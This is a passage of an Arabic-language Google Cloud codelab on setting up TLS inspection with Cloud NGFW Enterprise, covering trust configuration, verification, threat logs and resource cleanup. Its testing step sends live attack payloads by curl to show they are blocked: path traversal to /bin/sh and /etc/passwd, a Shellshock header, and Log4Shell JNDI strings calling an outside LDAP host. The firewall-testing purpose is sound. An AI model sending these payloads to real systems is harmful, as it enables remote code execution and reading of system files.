لا يتم تلقّي أي ردود وفقًا للنتائج المتوقّعة أدناه، لتأكيد أنّه يتم حاليًا حظر نماذج الهجمات:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

اضبط المتغيّر على عنوان IP للخادم من قبل:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

إرسال نماذج طلبات بروتوكول أمان طبقة النقل (TLS) إلى الخادم:

curl https://$target_privateip --max-time 2

المخرجات المتوقعة:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

لماذا تعذّر هذا الطلب؟ يرجع ذلك إلى تلقي جدار الحماية شهادة من الخادم لا توجد ثقة بها. وفي حال حدوث ذلك، سيتم تمرير شهادة موقعة ذاتيًا إلى العميل مرة أخرى. يجب إضافة شهادة مرجع التصديق كجزء من إعدادات الثقة لتفعيل الثقة.

ارجِع إلى Cloud Shell.

11. ضبط إعدادات الثقة

احصل على شهادة مرجع تصديق الجذر واضبطها كمتغيّر بالتنسيق المناسب.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

اضبط ملف YAML لتكوين الثقة. يحتوي هذا الملف على تفاصيل الثقة، مثل شهادات CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

تضمّنت الأوامر أعلاه شهادة مرجع تصديق الجذر كجزء من مخزن الثقة لأنّ شهادة الخادم تم توقيعها باستخدام مرجع تصديق الجذر. وهذا يعني أن جدار الحماية سيثق في أي شهادات يتلقّاها وقد تم توقيعها من قِبل هيئة إصدار الشهادات (CA) الجذرية - بالإضافة إلى المراجع المصدقة العامة إذا كانت سياسة بروتوكول أمان طبقة النقل (TLS) قد وضعت استبعاد PublicCaSet على false.

تحقَّق من محتوى إعدادات الثقة.

cat trust_config.yaml 

الإخراج النموذجي:

انتبه جيدًا لمحاذاة المسافة البادئة للشهادة. ويجب أن يتبع هذا التنسيق بالضبط.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

استيراد إعدادات الثقة:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

عدِّل ملف YAML لسياسة بروتوكول أمان طبقة النقل (TLS) لتضمين إعدادات الثقة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

استيراد سياسة بروتوكول أمان طبقة النقل (TLS) المُعدَّلة:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. التحقّق من فحص بروتوكول أمان طبقة النقل (TLS) لأجهزة E/W

إعادة توجيه بروتوكول النقل الآمن للعميل لاختبار حركة بيانات E/W باستخدام إعدادات الثقة المعدَّلة:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

شغِّل نموذج طلب بروتوكول أمان طبقة النقل (TLS) إلى الخادم:

curl https://$target_privateip --max-time 2

إذا استمر ظهور النتائج أدناه، يُرجى الانتظار حتى يتم نشر التعديلات.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

المخرجات المتوقعة:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

إرسال حركة مرور بيانات اختبارية ضارة إلى الخادم:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

المخرجات المتوقعة:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

لا يتم تلقّي أي ردود وفقًا للمخرجات المتوقّعة أدناه، ما يؤكّد أنّه يتم حاليًا حظر نماذج الهجمات الإلكترونية عند استخدام مصدر الطاقة القابل للبرمجة (E/W).

13. التسجيل

الانتقال إلى التسجيل > مستكشف السجلات من خلال Cloud Console، أدخل الفلتر أدناه واطلب من السجلات. استبدِل [PROJECT_ID] بمعرّف المشروع:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

يجب أن تظهر إدخالات سجلّ Cloud NGFW Enterprise على النحو التالي:

5b68cc1063c0f4bd.png

وسِّع إدخالات السجلّ ولاحظ أنه تم تحديد الهجمات المُرسلة من الجهاز الافتراضي للعميل إلى الخادم وحظرها (ثغرة تنفيذ رمز Apache Log4j عن بُعد كما هو موضَّح في لقطة الشاشة أدناه).

478f18f8481e90ed.png

لقد نجحت في تفعيل Cloud NGFW Enterprise باستخدام "فحص بروتوكول أمان طبقة النقل" (TLS) لحظر الطلبات الضارّة.

انتقِل إلى القسم التالي للتعرّف على خطوات إزالة البرامج غير المرغوب فيها.

14. خطوات التنظيف

تنظيف عملية إعداد الأساس

إزالة النُسخ الافتراضية:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

نفِّذ الخطوات أدناه في حال تم تغيير دورتَي TagAdmin و tagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

إزالة مفتاح العلامة وقيمها:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

إزالة سياسة شبكة جدار الحماية على السحابة الإلكترونية والاقتران بها:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

احذف Cloud Router وCloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

احذف عناوين IP المحجوزة:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG والربط وتنظيف بروتوكول أمان طبقة النقل (TLS)

احذف مجموعة الملفات الشخصية للأمان والملف الشخصي للتهديد بهذا الترتيب:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

حذف ارتباط نقطة نهاية جدار الحماية على السحابة الإلكترونية:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

احذف نقطة نهاية Cloud Firewall، التي قد تستغرق حوالي 20 دقيقة:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

يمكنك اختياريًا التأكُّد من حذف نقطة نهاية Cloud NGFW من خلال تنفيذ الأمر أدناه:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

يجب أن تظهر حالة نقطة النهاية:

STATE: DELETING

عند اكتمال العملية، لن يتم إدراج نقطة النهاية بعد ذلك.

احذف سياسة بروتوكول أمان طبقة النقل (TLS) وميزة "ضبط الثقة" بالترتيب التالي:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

إيقاف وحذف مجموعة شهادات CA الجذرية ومجموعة CA الجذرية:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

تنظيف الشبكة الفرعية وسحابة VPC

أخيرًا، احذف الشبكة الفرعية وشبكة VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. تهانينا!

تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز الخاص بفحص بروتوكول أمان طبقة النقل (TLS) في شرق-غرب الولايات المتحدة والشمال.